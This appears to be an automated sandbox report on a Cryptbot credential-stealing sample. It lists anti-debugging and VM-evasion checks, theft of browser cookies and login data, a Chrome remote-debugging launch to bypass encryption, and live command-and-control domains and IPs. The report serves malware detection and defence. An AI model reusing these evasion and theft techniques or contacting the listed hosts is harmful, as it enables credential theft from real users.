May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 2740 Thread sleep time: -74037s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6232 Thread sleep time: -2373186s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4972 Thread sleep time: -2395197s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3432 Thread sleep time: -32000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6304 Thread sleep time: -2779389s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6188 Thread sleep time: -2393196s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6424 Thread sleep time: -2411205s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6900 Thread sleep time: -2401200s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7156 Thread sleep time: -2373186s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 2128 Thread sleep count: 6147 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 2128 Thread sleep time: -614700s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 2128 Thread sleep count: 3852 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 2128 Thread sleep time: -385200s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\doomed\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\0absryc3.default\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\ Jump to behavior
Source: Amcache.hve.12.dr Binary or memory string: VMware
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696487552f
Source: Amcache.hve.12.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Amcache.hve.12.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Amcache.hve.12.dr Binary or memory string: vmci.sys
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Amcache.hve.12.dr Binary or memory string: VMware20,1
Source: Amcache.hve.12.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.12.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.12.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.12.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.12.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.12.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Amcache.hve.12.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.12.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.12.dr Binary or memory string: VMware, Inc.
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.12.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.12.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.12.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Amcache.hve.12.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Amcache.hve.12.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2614854630.0000000001794000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2488531277.00000000016FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2614750920.0000000001794000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Amcache.hve.12.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.12.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Amcache.hve.12.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2677904531.00000000072CB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: chrome.exe, 00000004.00000002.2654255373.0000020B5FC7E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll||
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\file.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\Desktop\file.exe File opened: NTICE
Source: C:\Users\user\Desktop\file.exe File opened: SICE
Source: C:\Users\user\Desktop\file.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00E38230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 7_2_00E38230
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00E3116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit, 7_2_00E3116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00E311A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 7_2_00E311A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00E31160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 7_2_00E31160
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00E313C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm, 7_2_00E313C9
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C6484D0 cpuid 7_2_6C6484D0
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\file.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.12.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Clipboard Hijacker
Source: Yara match File source: 7.2.service123.exe.6c5c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000003.3318143927.00000000017CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 7160, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: service123.exe PID: 828, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 00000000.00000003.2699122488.00000000073C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2572371369.0000000001765000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2699153654.000000000732F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 7160, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 7160, type: MEMORYSTR

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 00000000.00000003.2699122488.00000000073C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2572371369.0000000001765000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2699153654.000000000732F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 7160, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1559591 Sample: file.exe Startdate: 20/11/2024 Architecture: WINDOWS Score: 100 41 fvtekk5pn.top 2->41 53 Suricata IDS alerts for network traffic 2->53 55 Found malware configuration 2->55 57 Antivirus / Scanner detection for submitted sample 2->57 59 8 other signatures 2->59 8 file.exe 5 3 2->8         started        13 service123.exe 2->13         started        15 service123.exe 2->15         started        17 service123.exe 2->17         started        signatures3 process4 dnsIp5 43 fvtekk5pn.top 34.116.198.130, 49707, 49787, 49798 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG United States 8->43 45 127.0.0.1 unknown unknown 8->45 47 home.fvtekk5pn.top 8->47 37 C:\Users\user\...\unmYCIPOHmXNjqOesrEy.dll, PE32 8->37 dropped 39 C:\Users\user\AppData\...\service123.exe, PE32 8->39 dropped 67 Attempt to bypass Chrome Application-Bound Encryption 8->67 69 Tries to detect sandboxes and other dynamic analysis tools (window names) 8->69 71 Uses schtasks.exe or at.exe to add and modify task schedules 8->71 73 7 other signatures 8->73 19 service123.exe 8->19         started        22 WerFault.exe 22 16 8->22         started        25 chrome.exe 8->25         started        28 schtasks.exe 1 8->28         started        file6 signatures7 process8 dnsIp9 61 Multi AV Scanner detection for dropped file 19->61 63 Found evasive API chain (may stop execution after checking mutex) 19->63 65 Found stalling execution ending in API Sleep call 19->65 35 C:\ProgramData\Microsoft\...\Report.wer, Unicode 22->35 dropped 49 239.255.255.250 unknown Reserved 25->49 30 chrome.exe 25->30         started        33 conhost.exe 28->33         started        file10 signatures11 process12 dnsIp13 51 www.google.com 216.58.208.228, 443, 49814, 49815 GOOGLEUS United States 30->51
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
239.255.255.250
 unknown Reserved
unknown unknown false
216.58.208.228
 www.google.com United States
15169 GOOGLEUS false
34.116.198.130
 home.fvtekk5pn.top United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
home.fvtekk5pn.top 34.116.198.130 true
www.google.com 216.58.208.228 true
fvtekk5pn.top 34.116.198.130 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
kk5pfvtekk5pn.top true
  • Avira URL Cloud: safe
 unknown
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347 false
    		high
    QUERY|rd|AAAA|IN|home.fvtekk5pn.top true
    • Avira URL Cloud: safe
    		 unknown